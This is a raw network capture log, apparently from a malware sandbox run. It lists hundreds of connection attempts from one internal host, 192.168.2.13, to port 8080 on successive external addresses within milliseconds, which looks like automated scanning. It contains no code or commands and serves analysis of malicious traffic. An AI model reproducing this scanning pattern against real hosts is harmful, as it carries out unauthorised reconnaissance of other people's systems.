Jan 26, 2025 01:43:29.672483921 CET	47566	8080	192.168.2.13	94.169.3.102
Jan 26, 2025 01:43:29.672486067 CET	47566	8080	192.168.2.13	85.118.70.153
Jan 26, 2025 01:43:29.672486067 CET	47566	8080	192.168.2.13	62.251.125.177
Jan 26, 2025 01:43:29.672486067 CET	47566	8080	192.168.2.13	95.70.0.124
Jan 26, 2025 01:43:29.672486067 CET	47566	8080	192.168.2.13	94.0.98.101
Jan 26, 2025 01:43:29.672486067 CET	47566	8080	192.168.2.13	62.151.231.29
Jan 26, 2025 01:43:29.672497988 CET	47566	8080	192.168.2.13	94.153.239.59
Jan 26, 2025 01:43:29.672497988 CET	47566	8080	192.168.2.13	85.161.160.189
Jan 26, 2025 01:43:29.672498941 CET	47566	8080	192.168.2.13	31.193.111.93
Jan 26, 2025 01:43:29.672498941 CET	47566	8080	192.168.2.13	62.191.16.120
Jan 26, 2025 01:43:29.672499895 CET	47566	8080	192.168.2.13	31.143.120.125
Jan 26, 2025 01:43:29.672498941 CET	47566	8080	192.168.2.13	95.213.42.68
Jan 26, 2025 01:43:29.672498941 CET	47566	8080	192.168.2.13	62.75.117.138
Jan 26, 2025 01:43:29.672501087 CET	47566	8080	192.168.2.13	85.51.26.242
Jan 26, 2025 01:43:29.672499895 CET	47566	8080	192.168.2.13	62.98.250.25
Jan 26, 2025 01:43:29.672501087 CET	47566	8080	192.168.2.13	94.220.239.195
Jan 26, 2025 01:43:29.672499895 CET	47566	8080	192.168.2.13	31.81.149.126
Jan 26, 2025 01:43:29.672512054 CET	47566	8080	192.168.2.13	85.163.84.25
Jan 26, 2025 01:43:29.672517061 CET	47566	8080	192.168.2.13	31.95.166.238
Jan 26, 2025 01:43:29.672517061 CET	47566	8080	192.168.2.13	94.219.216.46
Jan 26, 2025 01:43:29.672542095 CET	47566	8080	192.168.2.13	31.198.0.204
Jan 26, 2025 01:43:29.672543049 CET	47566	8080	192.168.2.13	94.148.197.137
Jan 26, 2025 01:43:29.672543049 CET	47566	8080	192.168.2.13	31.254.144.122
Jan 26, 2025 01:43:29.672544003 CET	47566	8080	192.168.2.13	94.132.11.208
Jan 26, 2025 01:43:29.672544003 CET	47566	8080	192.168.2.13	94.95.160.145
Jan 26, 2025 01:43:29.672544003 CET	47566	8080	192.168.2.13	85.236.118.116
Jan 26, 2025 01:43:29.672544003 CET	47566	8080	192.168.2.13	62.135.177.65
Jan 26, 2025 01:43:29.672544003 CET	47566	8080	192.168.2.13	85.3.187.158
Jan 26, 2025 01:43:29.672549009 CET	47566	8080	192.168.2.13	85.104.137.111
Jan 26, 2025 01:43:29.672549009 CET	47566	8080	192.168.2.13	94.255.35.247
Jan 26, 2025 01:43:29.672549009 CET	47566	8080	192.168.2.13	94.208.196.200
Jan 26, 2025 01:43:29.672549009 CET	47566	8080	192.168.2.13	85.132.99.33
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	85.103.149.86
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	85.162.239.216
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	95.160.145.237
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	62.101.128.124
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	94.202.54.84
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	62.123.207.236
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	95.99.96.192
Jan 26, 2025 01:43:29.672550917 CET	47566	8080	192.168.2.13	31.199.220.45
Jan 26, 2025 01:43:29.672560930 CET	47566	8080	192.168.2.13	31.114.172.171
Jan 26, 2025 01:43:29.672560930 CET	47566	8080	192.168.2.13	62.123.67.64
Jan 26, 2025 01:43:29.672560930 CET	47566	8080	192.168.2.13	31.138.57.204
Jan 26, 2025 01:43:29.672576904 CET	47566	8080	192.168.2.13	31.208.147.36
Jan 26, 2025 01:43:29.672578096 CET	47566	8080	192.168.2.13	95.31.95.138
Jan 26, 2025 01:43:29.672584057 CET	47566	8080	192.168.2.13	94.25.224.29
Jan 26, 2025 01:43:29.672588110 CET	47566	8080	192.168.2.13	62.5.147.166
Jan 26, 2025 01:43:29.672588110 CET	47566	8080	192.168.2.13	94.170.178.102
Jan 26, 2025 01:43:29.672589064 CET	47566	8080	192.168.2.13	85.32.138.3
Jan 26, 2025 01:43:29.672595978 CET	47566	8080	192.168.2.13	95.158.90.242
Jan 26, 2025 01:43:29.672599077 CET	47566	8080	192.168.2.13	95.32.131.252
Jan 26, 2025 01:43:29.672607899 CET	47566	8080	192.168.2.13	62.96.92.2
Jan 26, 2025 01:43:29.672619104 CET	47566	8080	192.168.2.13	85.37.14.80
Jan 26, 2025 01:43:29.672627926 CET	47566	8080	192.168.2.13	62.32.124.186
Jan 26, 2025 01:43:29.672638893 CET	47566	8080	192.168.2.13	31.81.113.230
Jan 26, 2025 01:43:29.672642946 CET	47566	8080	192.168.2.13	62.150.76.214
Jan 26, 2025 01:43:29.672652006 CET	47566	8080	192.168.2.13	94.39.5.29
Jan 26, 2025 01:43:29.672657013 CET	47566	8080	192.168.2.13	94.122.128.150
Jan 26, 2025 01:43:29.672662020 CET	47566	8080	192.168.2.13	85.116.24.62
Jan 26, 2025 01:43:29.672667980 CET	47566	8080	192.168.2.13	31.72.52.203
Jan 26, 2025 01:43:29.672681093 CET	47566	8080	192.168.2.13	94.96.227.40
Jan 26, 2025 01:43:29.672725916 CET	47566	8080	192.168.2.13	31.145.100.196
Jan 26, 2025 01:43:29.672739983 CET	47566	8080	192.168.2.13	95.94.23.137
Jan 26, 2025 01:43:29.672808886 CET	47566	8080	192.168.2.13	95.177.182.2
Jan 26, 2025 01:43:29.672810078 CET	47566	8080	192.168.2.13	31.6.152.62
Jan 26, 2025 01:43:29.672808886 CET	47566	8080	192.168.2.13	94.29.192.137
Jan 26, 2025 01:43:29.672810078 CET	47566	8080	192.168.2.13	95.14.164.48
Jan 26, 2025 01:43:29.672811031 CET	47566	8080	192.168.2.13	95.42.252.162
Jan 26, 2025 01:43:29.672811031 CET	47566	8080	192.168.2.13	95.84.47.151
Jan 26, 2025 01:43:29.672818899 CET	47566	8080	192.168.2.13	85.157.151.186
Jan 26, 2025 01:43:29.672818899 CET	47566	8080	192.168.2.13	95.15.45.20
Jan 26, 2025 01:43:29.672827005 CET	47566	8080	192.168.2.13	62.77.71.98
Jan 26, 2025 01:43:29.672827959 CET	47566	8080	192.168.2.13	95.97.101.69
Jan 26, 2025 01:43:29.672837973 CET	47566	8080	192.168.2.13	85.253.175.174
Jan 26, 2025 01:43:29.672841072 CET	47566	8080	192.168.2.13	85.230.180.209
Jan 26, 2025 01:43:29.672853947 CET	47566	8080	192.168.2.13	85.35.139.172
Jan 26, 2025 01:43:29.672857046 CET	47566	8080	192.168.2.13	94.196.188.41
Jan 26, 2025 01:43:29.672874928 CET	47566	8080	192.168.2.13	85.50.174.82
Jan 26, 2025 01:43:29.672878027 CET	47566	8080	192.168.2.13	31.240.198.11
Jan 26, 2025 01:43:29.672878027 CET	47566	8080	192.168.2.13	31.159.152.176
Jan 26, 2025 01:43:29.672880888 CET	47566	8080	192.168.2.13	95.20.55.143
Jan 26, 2025 01:43:29.672899008 CET	47566	8080	192.168.2.13	94.193.183.46
Jan 26, 2025 01:43:29.672899008 CET	47566	8080	192.168.2.13	95.29.183.110
Jan 26, 2025 01:43:29.672909975 CET	47566	8080	192.168.2.13	95.212.77.255
Jan 26, 2025 01:43:29.672921896 CET	47566	8080	192.168.2.13	85.102.159.251
Jan 26, 2025 01:43:29.672935009 CET	47566	8080	192.168.2.13	95.152.179.71
Jan 26, 2025 01:43:29.672979116 CET	47566	8080	192.168.2.13	31.248.151.24
Jan 26, 2025 01:43:29.673019886 CET	8080	47566	95.201.184.189	192.168.2.13
Jan 26, 2025 01:43:29.673022032 CET	47566	8080	192.168.2.13	85.246.123.84
Jan 26, 2025 01:43:29.673022032 CET	47566	8080	192.168.2.13	62.255.47.98
Jan 26, 2025 01:43:29.673022032 CET	47566	8080	192.168.2.13	95.220.140.13
Jan 26, 2025 01:43:29.673022032 CET	47566	8080	192.168.2.13	94.248.194.52
Jan 26, 2025 01:43:29.673022032 CET	47566	8080	192.168.2.13	31.160.179.31
Jan 26, 2025 01:43:29.673033953 CET	47566	8080	192.168.2.13	95.21.48.81
Jan 26, 2025 01:43:29.673033953 CET	47566	8080	192.168.2.13	85.203.88.95
Jan 26, 2025 01:43:29.673034906 CET	47566	8080	192.168.2.13	95.229.133.37
Jan 26, 2025 01:43:29.673034906 CET	47566	8080	192.168.2.13	85.143.61.26
Jan 26, 2025 01:43:29.673034906 CET	47566	8080	192.168.2.13	31.87.168.35
Jan 26, 2025 01:43:29.673036098 CET	47566	8080	192.168.2.13	31.142.87.18
Jan 26, 2025 01:43:29.673036098 CET	47566	8080	192.168.2.13	85.201.208.19
Jan 26, 2025 01:43:29.673036098 CET	47566	8080	192.168.2.13	95.216.11.76
Jan 26, 2025 01:43:29.673057079 CET	47566	8080	192.168.2.13	31.65.15.160
Jan 26, 2025 01:43:29.673059940 CET	47566	8080	192.168.2.13	62.77.231.142
Jan 26, 2025 01:43:29.673059940 CET	47566	8080	192.168.2.13	95.201.184.189
Jan 26, 2025 01:43:29.673064947 CET	47566	8080	192.168.2.13	31.240.254.170
Jan 26, 2025 01:43:29.673070908 CET	47566	8080	192.168.2.13	94.198.95.100
Jan 26, 2025 01:43:29.673083067 CET	47566	8080	192.168.2.13	31.95.80.177
Jan 26, 2025 01:43:29.673084974 CET	47566	8080	192.168.2.13	62.207.42.107
Jan 26, 2025 01:43:29.673099041 CET	47566	8080	192.168.2.13	31.199.20.125
Jan 26, 2025 01:43:29.673105955 CET	47566	8080	192.168.2.13	94.166.201.116
Jan 26, 2025 01:43:29.673118114 CET	47566	8080	192.168.2.13	31.120.49.235
Jan 26, 2025 01:43:29.673120975 CET	47566	8080	192.168.2.13	62.97.60.87
Jan 26, 2025 01:43:29.673132896 CET	47566	8080	192.168.2.13	85.82.48.144
Jan 26, 2025 01:43:29.673146009 CET	47566	8080	192.168.2.13	62.17.164.137
Jan 26, 2025 01:43:29.673156977 CET	47566	8080	192.168.2.13	31.226.93.62
Jan 26, 2025 01:43:29.673166037 CET	47566	8080	192.168.2.13	62.40.139.75
Jan 26, 2025 01:43:29.673175097 CET	47566	8080	192.168.2.13	62.102.89.229
Jan 26, 2025 01:43:29.673183918 CET	47566	8080	192.168.2.13	62.191.212.201
Jan 26, 2025 01:43:29.673203945 CET	47566	8080	192.168.2.13	94.51.106.166
Jan 26, 2025 01:43:29.673218012 CET	47566	8080	192.168.2.13	94.179.218.195
Jan 26, 2025 01:43:29.673230886 CET	47566	8080	192.168.2.13	95.24.237.74
Jan 26, 2025 01:43:29.673238993 CET	47566	8080	192.168.2.13	94.159.140.178
Jan 26, 2025 01:43:29.673239946 CET	47566	8080	192.168.2.13	31.190.236.75
Jan 26, 2025 01:43:29.673239946 CET	47566	8080	192.168.2.13	85.195.101.133
Jan 26, 2025 01:43:29.673249960 CET	47566	8080	192.168.2.13	62.207.211.184
Jan 26, 2025 01:43:29.673259020 CET	47566	8080	192.168.2.13	62.3.223.17
Jan 26, 2025 01:43:29.673275948 CET	47566	8080	192.168.2.13	62.19.57.86
Jan 26, 2025 01:43:29.673275948 CET	47566	8080	192.168.2.13	31.118.129.189
Jan 26, 2025 01:43:29.673355103 CET	47566	8080	192.168.2.13	95.13.17.8
Jan 26, 2025 01:43:29.673356056 CET	47566	8080	192.168.2.13	31.89.10.29
Jan 26, 2025 01:43:29.673356056 CET	47566	8080	192.168.2.13	62.179.81.33
Jan 26, 2025 01:43:29.673356056 CET	47566	8080	192.168.2.13	31.5.54.218
Jan 26, 2025 01:43:29.673356056 CET	47566	8080	192.168.2.13	85.201.24.55
Jan 26, 2025 01:43:29.673356056 CET	47566	8080	192.168.2.13	31.35.50.195
Jan 26, 2025 01:43:29.673362017 CET	47566	8080	192.168.2.13	85.4.210.95
Jan 26, 2025 01:43:29.673362017 CET	47566	8080	192.168.2.13	62.212.61.217
Jan 26, 2025 01:43:29.673368931 CET	47566	8080	192.168.2.13	85.116.200.141
Jan 26, 2025 01:43:29.673368931 CET	47566	8080	192.168.2.13	95.75.45.135
Jan 26, 2025 01:43:29.673372984 CET	47566	8080	192.168.2.13	31.52.252.75
Jan 26, 2025 01:43:29.673376083 CET	47566	8080	192.168.2.13	85.163.105.236
Jan 26, 2025 01:43:29.673381090 CET	47566	8080	192.168.2.13	31.219.89.224
Jan 26, 2025 01:43:29.673383951 CET	47566	8080	192.168.2.13	62.63.221.214
Jan 26, 2025 01:43:29.673392057 CET	47566	8080	192.168.2.13	62.16.23.80
Jan 26, 2025 01:43:29.673393011 CET	47566	8080	192.168.2.13	95.252.218.41
Jan 26, 2025 01:43:29.673393965 CET	47566	8080	192.168.2.13	85.172.160.45
Jan 26, 2025 01:43:29.673396111 CET	47566	8080	192.168.2.13	85.221.66.42
Jan 26, 2025 01:43:29.673417091 CET	47566	8080	192.168.2.13	94.191.28.228
Jan 26, 2025 01:43:29.673417091 CET	47566	8080	192.168.2.13	94.0.65.77
Jan 26, 2025 01:43:29.673418999 CET	47566	8080	192.168.2.13	95.118.246.135
Jan 26, 2025 01:43:29.673420906 CET	47566	8080	192.168.2.13	62.160.245.7
Jan 26, 2025 01:43:29.673427105 CET	47566	8080	192.168.2.13	94.211.190.10
Jan 26, 2025 01:43:29.673427105 CET	47566	8080	192.168.2.13	62.52.87.209
Jan 26, 2025 01:43:29.673427105 CET	47566	8080	192.168.2.13	94.44.95.39
Jan 26, 2025 01:43:29.673427105 CET	47566	8080	192.168.2.13	94.51.140.122
Jan 26, 2025 01:43:29.673427105 CET	47566	8080	192.168.2.13	85.13.168.194
Jan 26, 2025 01:43:29.673427105 CET	47566	8080	192.168.2.13	31.213.0.30
Jan 26, 2025 01:43:29.673433065 CET	47566	8080	192.168.2.13	85.108.10.54
Jan 26, 2025 01:43:29.673433065 CET	47566	8080	192.168.2.13	94.61.102.47
Jan 26, 2025 01:43:29.673438072 CET	47566	8080	192.168.2.13	95.53.119.76
Jan 26, 2025 01:43:29.673439026 CET	47566	8080	192.168.2.13	85.87.48.94
Jan 26, 2025 01:43:29.673443079 CET	47566	8080	192.168.2.13	62.127.216.23
Jan 26, 2025 01:43:29.673455000 CET	47566	8080	192.168.2.13	62.169.115.118
Jan 26, 2025 01:43:29.673468113 CET	47566	8080	192.168.2.13	94.191.40.56
Jan 26, 2025 01:43:29.673468113 CET	47566	8080	192.168.2.13	85.95.123.42
Jan 26, 2025 01:43:29.673476934 CET	47566	8080	192.168.2.13	62.56.203.126
Jan 26, 2025 01:43:29.673485041 CET	47566	8080	192.168.2.13	94.204.12.45
Jan 26, 2025 01:43:29.673492908 CET	47566	8080	192.168.2.13	94.220.9.9
Jan 26, 2025 01:43:29.673506021 CET	47566	8080	192.168.2.13	85.115.222.96
Jan 26, 2025 01:43:29.673523903 CET	47566	8080	192.168.2.13	85.192.43.116
Jan 26, 2025 01:43:29.673579931 CET	47566	8080	192.168.2.13	31.173.60.23
Jan 26, 2025 01:43:29.673580885 CET	47566	8080	192.168.2.13	95.32.101.123
Jan 26, 2025 01:43:29.673580885 CET	47566	8080	192.168.2.13	62.255.134.67
Jan 26, 2025 01:43:29.673580885 CET	47566	8080	192.168.2.13	95.235.159.83
Jan 26, 2025 01:43:29.673582077 CET	47566	8080	192.168.2.13	85.86.237.22
Jan 26, 2025 01:43:29.673583031 CET	47566	8080	192.168.2.13	31.213.243.229
Jan 26, 2025 01:43:29.673583031 CET	47566	8080	192.168.2.13	85.211.97.177
Jan 26, 2025 01:43:29.673583984 CET	47566	8080	192.168.2.13	85.60.8.184
Jan 26, 2025 01:43:29.673583984 CET	47566	8080	192.168.2.13	85.201.158.55
Jan 26, 2025 01:43:29.673583984 CET	47566	8080	192.168.2.13	95.106.251.101
Jan 26, 2025 01:43:29.673592091 CET	47566	8080	192.168.2.13	95.114.11.97
Jan 26, 2025 01:43:29.673598051 CET	47566	8080	192.168.2.13	95.135.59.0
Jan 26, 2025 01:43:29.673598051 CET	47566	8080	192.168.2.13	31.111.40.30
Jan 26, 2025 01:43:29.673598051 CET	47566	8080	192.168.2.13	95.129.154.129
Jan 26, 2025 01:43:29.673599005 CET	47566	8080	192.168.2.13	94.127.209.124
Jan 26, 2025 01:43:29.673598051 CET	47566	8080	192.168.2.13	31.253.203.49
Jan 26, 2025 01:43:29.673599005 CET	47566	8080	192.168.2.13	31.180.35.228
Jan 26, 2025 01:43:29.673613071 CET	47566	8080	192.168.2.13	85.139.180.144
Jan 26, 2025 01:43:29.673613071 CET	47566	8080	192.168.2.13	31.53.138.59
Jan 26, 2025 01:43:29.673613071 CET	47566	8080	192.168.2.13	85.142.159.230
Jan 26, 2025 01:43:29.673613071 CET	47566	8080	192.168.2.13	31.115.131.13
Jan 26, 2025 01:43:29.673613071 CET	47566	8080	192.168.2.13	94.137.255.205
Jan 26, 2025 01:43:29.673614979 CET	47566	8080	192.168.2.13	95.99.59.52
Jan 26, 2025 01:43:29.673614979 CET	47566	8080	192.168.2.13	62.88.219.117
Jan 26, 2025 01:43:29.673614979 CET	47566	8080	192.168.2.13	95.101.120.42
Jan 26, 2025 01:43:29.673614979 CET	47566	8080	192.168.2.13	95.141.82.146
Jan 26, 2025 01:43:29.673614979 CET	47566	8080	192.168.2.13	94.255.8.204
Jan 26, 2025 01:43:29.673620939 CET	47566	8080	192.168.2.13	94.222.10.44
Jan 26, 2025 01:43:29.673620939 CET	47566	8080	192.168.2.13	62.32.154.128
Jan 26, 2025 01:43:29.673625946 CET	47566	8080	192.168.2.13	62.47.203.133
Jan 26, 2025 01:43:29.673628092 CET	47566	8080	192.168.2.13	95.248.104.171
Jan 26, 2025 01:43:29.673629999 CET	47566	8080	192.168.2.13	95.33.110.135
Jan 26, 2025 01:43:29.673646927 CET	47566	8080	192.168.2.13	31.179.172.19
Jan 26, 2025 01:43:29.673646927 CET	47566	8080	192.168.2.13	94.138.201.52
Jan 26, 2025 01:43:29.673648119 CET	47566	8080	192.168.2.13	31.89.43.15
Jan 26, 2025 01:43:29.673648119 CET	47566	8080	192.168.2.13	95.55.147.185
Jan 26, 2025 01:43:29.673648119 CET	47566	8080	192.168.2.13	95.163.54.204
Jan 26, 2025 01:43:29.673661947 CET	47566	8080	192.168.2.13	62.73.5.142
Jan 26, 2025 01:43:29.673676014 CET	47566	8080	192.168.2.13	94.117.199.68
Jan 26, 2025 01:43:29.673683882 CET	47566	8080	192.168.2.13	95.10.138.204
Jan 26, 2025 01:43:29.673686981 CET	47566	8080	192.168.2.13	94.176.118.196
Jan 26, 2025 01:43:29.673700094 CET	47566	8080	192.168.2.13	62.184.73.84
Jan 26, 2025 01:43:29.673702002 CET	47566	8080	192.168.2.13	31.61.6.177
Jan 26, 2025 01:43:29.673705101 CET	47566	8080	192.168.2.13	95.40.59.130
Jan 26, 2025 01:43:29.673722029 CET	47566	8080	192.168.2.13	94.182.95.63
Jan 26, 2025 01:43:29.673732996 CET	47566	8080	192.168.2.13	94.13.156.249
Jan 26, 2025 01:43:29.673752069 CET	47566	8080	192.168.2.13	95.32.255.65
Jan 26, 2025 01:43:29.673753977 CET	47566	8080	192.168.2.13	85.220.54.168
Jan 26, 2025 01:43:29.673753977 CET	47566	8080	192.168.2.13	95.97.242.212
Jan 26, 2025 01:43:29.673791885 CET	47566	8080	192.168.2.13	62.170.21.84
Jan 26, 2025 01:43:29.673794985 CET	47566	8080	192.168.2.13	94.155.125.15
Jan 26, 2025 01:43:29.673794985 CET	47566	8080	192.168.2.13	62.112.230.184
Jan 26, 2025 01:43:29.673794985 CET	47566	8080	192.168.2.13	95.222.43.66
Jan 26, 2025 01:43:29.673794985 CET	47566	8080	192.168.2.13	94.180.72.249
Jan 26, 2025 01:43:29.673799992 CET	47566	8080	192.168.2.13	31.41.33.206
Jan 26, 2025 01:43:29.673803091 CET	47566	8080	192.168.2.13	94.39.19.8
Jan 26, 2025 01:43:29.673803091 CET	47566	8080	192.168.2.13	94.224.102.94
Jan 26, 2025 01:43:29.673810005 CET	47566	8080	192.168.2.13	94.118.175.106
Jan 26, 2025 01:43:29.673810959 CET	47566	8080	192.168.2.13	94.193.117.241
Jan 26, 2025 01:43:29.673811913 CET	47566	8080	192.168.2.13	62.118.116.68
Jan 26, 2025 01:43:29.673810959 CET	47566	8080	192.168.2.13	62.109.124.49
Jan 26, 2025 01:43:29.673810959 CET	47566	8080	192.168.2.13	85.243.176.174
Jan 26, 2025 01:43:29.673811913 CET	47566	8080	192.168.2.13	95.242.108.19
Jan 26, 2025 01:43:29.673813105 CET	47566	8080	192.168.2.13	85.190.250.215
Jan 26, 2025 01:43:29.673811913 CET	47566	8080	192.168.2.13	95.185.83.114
Jan 26, 2025 01:43:29.673815012 CET	47566	8080	192.168.2.13	94.199.98.98
Jan 26, 2025 01:43:29.673815012 CET	47566	8080	192.168.2.13	31.116.74.236
Jan 26, 2025 01:43:29.673818111 CET	47566	8080	192.168.2.13	62.174.128.75
Jan 26, 2025 01:43:29.673825026 CET	47566	8080	192.168.2.13	62.107.1.172
Jan 26, 2025 01:43:29.673827887 CET	47566	8080	192.168.2.13	95.67.143.38
Jan 26, 2025 01:43:29.673829079 CET	47566	8080	192.168.2.13	62.236.154.145
Jan 26, 2025 01:43:29.673829079 CET	47566	8080	192.168.2.13	85.207.93.240
Jan 26, 2025 01:43:29.673829079 CET	47566	8080	192.168.2.13	85.167.1.57
Jan 26, 2025 01:43:29.673841000 CET	47566	8080	192.168.2.13	94.50.83.109
Jan 26, 2025 01:43:29.673845053 CET	47566	8080	192.168.2.13	94.188.29.216
Jan 26, 2025 01:43:29.673846960 CET	47566	8080	192.168.2.13	62.172.139.145
Jan 26, 2025 01:43:29.673861980 CET	47566	8080	192.168.2.13	94.69.226.12
Jan 26, 2025 01:43:29.673877954 CET	47566	8080	192.168.2.13	94.82.242.78
Jan 26, 2025 01:43:29.673880100 CET	47566	8080	192.168.2.13	95.32.168.58
Jan 26, 2025 01:43:29.673881054 CET	47566	8080	192.168.2.13	62.70.148.173
Jan 26, 2025 01:43:29.673897982 CET	47566	8080	192.168.2.13	31.187.248.44
Jan 26, 2025 01:43:29.673906088 CET	47566	8080	192.168.2.13	31.10.67.94
Jan 26, 2025 01:43:29.673907995 CET	47566	8080	192.168.2.13	62.231.87.233
Jan 26, 2025 01:43:29.673923016 CET	47566	8080	192.168.2.13	85.208.3.181
Jan 26, 2025 01:43:29.673996925 CET	47566	8080	192.168.2.13	31.87.203.206
Jan 26, 2025 01:43:29.673998117 CET	47566	8080	192.168.2.13	31.2.239.159
Jan 26, 2025 01:43:29.673998117 CET	47566	8080	192.168.2.13	95.223.196.4
Jan 26, 2025 01:43:29.674001932 CET	47566	8080	192.168.2.13	94.27.5.206
Jan 26, 2025 01:43:29.674001932 CET	47566	8080	192.168.2.13	94.77.69.170
Jan 26, 2025 01:43:29.674001932 CET	47566	8080	192.168.2.13	31.90.233.21
Jan 26, 2025 01:43:29.674001932 CET	47566	8080	192.168.2.13	85.176.53.48
Jan 26, 2025 01:43:29.674004078 CET	47566	8080	192.168.2.13	85.45.149.124
Jan 26, 2025 01:43:29.674004078 CET	47566	8080	192.168.2.13	95.137.226.72
Jan 26, 2025 01:43:29.674004078 CET	47566	8080	192.168.2.13	85.157.14.225
Jan 26, 2025 01:43:29.674015045 CET	47566	8080	192.168.2.13	85.254.41.107
Jan 26, 2025 01:43:29.674019098 CET	47566	8080	192.168.2.13	31.69.104.24
Jan 26, 2025 01:43:29.674021006 CET	47566	8080	192.168.2.13	31.103.134.232
Jan 26, 2025 01:43:29.674021006 CET	47566	8080	192.168.2.13	85.114.159.249
Jan 26, 2025 01:43:29.674021006 CET	47566	8080	192.168.2.13	85.99.80.226
Jan 26, 2025 01:43:29.674021959 CET	47566	8080	192.168.2.13	62.120.133.34
Jan 26, 2025 01:43:29.674021959 CET	47566	8080	192.168.2.13	95.199.14.145
Jan 26, 2025 01:43:29.674022913 CET	47566	8080	192.168.2.13	85.147.170.241
Jan 26, 2025 01:43:29.674021959 CET	47566	8080	192.168.2.13	95.88.115.115
Jan 26, 2025 01:43:29.674022913 CET	47566	8080	192.168.2.13	31.139.28.135
Jan 26, 2025 01:43:29.674021959 CET	47566	8080	192.168.2.13	62.23.141.227
Jan 26, 2025 01:43:29.674021959 CET	47566	8080	192.168.2.13	94.213.198.252
Jan 26, 2025 01:43:29.674031019 CET	47566	8080	192.168.2.13	85.204.143.236
Jan 26, 2025 01:43:29.674031019 CET	47566	8080	192.168.2.13	62.213.102.179
Jan 26, 2025 01:43:29.674032927 CET	47566	8080	192.168.2.13	95.78.17.54
Jan 26, 2025 01:43:29.674034119 CET	47566	8080	192.168.2.13	31.199.85.220
Jan 26, 2025 01:43:29.674034119 CET	47566	8080	192.168.2.13	94.177.233.176
Jan 26, 2025 01:43:29.674034119 CET	47566	8080	192.168.2.13	31.185.237.36
Jan 26, 2025 01:43:29.674035072 CET	47566	8080	192.168.2.13	31.66.244.188
Jan 26, 2025 01:43:29.674034119 CET	47566	8080	192.168.2.13	94.112.91.211
Jan 26, 2025 01:43:29.674034119 CET	47566	8080	192.168.2.13	95.109.19.76
Jan 26, 2025 01:43:29.674034119 CET	47566	8080	192.168.2.13	95.156.22.97
Jan 26, 2025 01:43:29.674038887 CET	47566	8080	192.168.2.13	85.107.249.72
Jan 26, 2025 01:43:29.674041033 CET	47566	8080	192.168.2.13	31.238.77.45
Jan 26, 2025 01:43:29.674043894 CET	47566	8080	192.168.2.13	31.123.169.212
Jan 26, 2025 01:43:29.674058914 CET	47566	8080	192.168.2.13	62.67.230.22
Jan 26, 2025 01:43:29.674058914 CET	47566	8080	192.168.2.13	85.20.23.118
Jan 26, 2025 01:43:29.674062014 CET	47566	8080	192.168.2.13	94.74.183.50
Jan 26, 2025 01:43:29.674062014 CET	47566	8080	192.168.2.13	31.81.157.164
Jan 26, 2025 01:43:29.674062014 CET	47566	8080	192.168.2.13	94.56.44.93
Jan 26, 2025 01:43:29.674062014 CET	47566	8080	192.168.2.13	95.35.219.234
Jan 26, 2025 01:43:29.674062014 CET	47566	8080	192.168.2.13	95.244.204.48
Jan 26, 2025 01:43:29.674062014 CET	47566	8080	192.168.2.13	95.226.11.148
Jan 26, 2025 01:43:29.674063921 CET	47566	8080	192.168.2.13	31.174.212.136
Jan 26, 2025 01:43:29.674062014 CET	47566	8080	192.168.2.13	94.49.93.236
Jan 26, 2025 01:43:29.674077034 CET	47566	8080	192.168.2.13	31.163.16.45
Jan 26, 2025 01:43:29.674083948 CET	47566	8080	192.168.2.13	94.132.46.156
Jan 26, 2025 01:43:29.674089909 CET	47566	8080	192.168.2.13	62.120.16.140
Jan 26, 2025 01:43:29.674103022 CET	47566	8080	192.168.2.13	85.123.62.76
Jan 26, 2025 01:43:29.674107075 CET	47566	8080	192.168.2.13	62.94.233.232
Jan 26, 2025 01:43:29.674109936 CET	47566	8080	192.168.2.13	95.203.7.56
Jan 26, 2025 01:43:29.674120903 CET	47566	8080	192.168.2.13	62.137.28.241
Jan 26, 2025 01:43:29.674134016 CET	47566	8080	192.168.2.13	95.22.94.93
Jan 26, 2025 01:43:29.674134016 CET	47566	8080	192.168.2.13	95.150.86.200
Jan 26, 2025 01:43:29.674134970 CET	47566	8080	192.168.2.13	95.219.184.32
Jan 26, 2025 01:43:29.674134970 CET	47566	8080	192.168.2.13	31.98.149.203
Jan 26, 2025 01:43:29.674144030 CET	47566	8080	192.168.2.13	85.139.65.200
Jan 26, 2025 01:43:29.674196959 CET	47566	8080	192.168.2.13	94.241.172.57
Jan 26, 2025 01:43:29.674197912 CET	47566	8080	192.168.2.13	62.54.57.184
Jan 26, 2025 01:43:29.674199104 CET	47566	8080	192.168.2.13	31.19.96.0
Jan 26, 2025 01:43:29.674197912 CET	47566	8080	192.168.2.13	62.190.179.222
Jan 26, 2025 01:43:29.674201965 CET	47566	8080	192.168.2.13	85.186.22.231
Jan 26, 2025 01:43:29.674217939 CET	47566	8080	192.168.2.13	95.225.7.96
Jan 26, 2025 01:43:29.674221992 CET	47566	8080	192.168.2.13	95.200.69.233
Jan 26, 2025 01:43:29.674221992 CET	47566	8080	192.168.2.13	95.54.41.227
Jan 26, 2025 01:43:29.674225092 CET	47566	8080	192.168.2.13	85.111.168.167
Jan 26, 2025 01:43:29.674225092 CET	47566	8080	192.168.2.13	85.81.117.227
Jan 26, 2025 01:43:29.674226999 CET	47566	8080	192.168.2.13	62.151.50.64
Jan 26, 2025 01:43:29.674226999 CET	47566	8080	192.168.2.13	85.115.161.120
Jan 26, 2025 01:43:29.674226999 CET	47566	8080	192.168.2.13	85.122.168.10
Jan 26, 2025 01:43:29.674226999 CET	47566	8080	192.168.2.13	62.33.117.36
Jan 26, 2025 01:43:29.674238920 CET	47566	8080	192.168.2.13	62.237.158.245
Jan 26, 2025 01:43:29.674238920 CET	47566	8080	192.168.2.13	85.116.195.225
Jan 26, 2025 01:43:29.674238920 CET	47566	8080	192.168.2.13	85.25.165.216
Jan 26, 2025 01:43:29.674238920 CET	47566	8080	192.168.2.13	95.143.233.118
Jan 26, 2025 01:43:29.674238920 CET	47566	8080	192.168.2.13	95.242.111.123
Jan 26, 2025 01:43:29.674238920 CET	47566	8080	192.168.2.13	85.236.215.156
Jan 26, 2025 01:43:29.674247980 CET	47566	8080	192.168.2.13	95.59.170.168
Jan 26, 2025 01:43:29.674247980 CET	47566	8080	192.168.2.13	31.14.208.76
Jan 26, 2025 01:43:29.674256086 CET	47566	8080	192.168.2.13	85.212.238.200
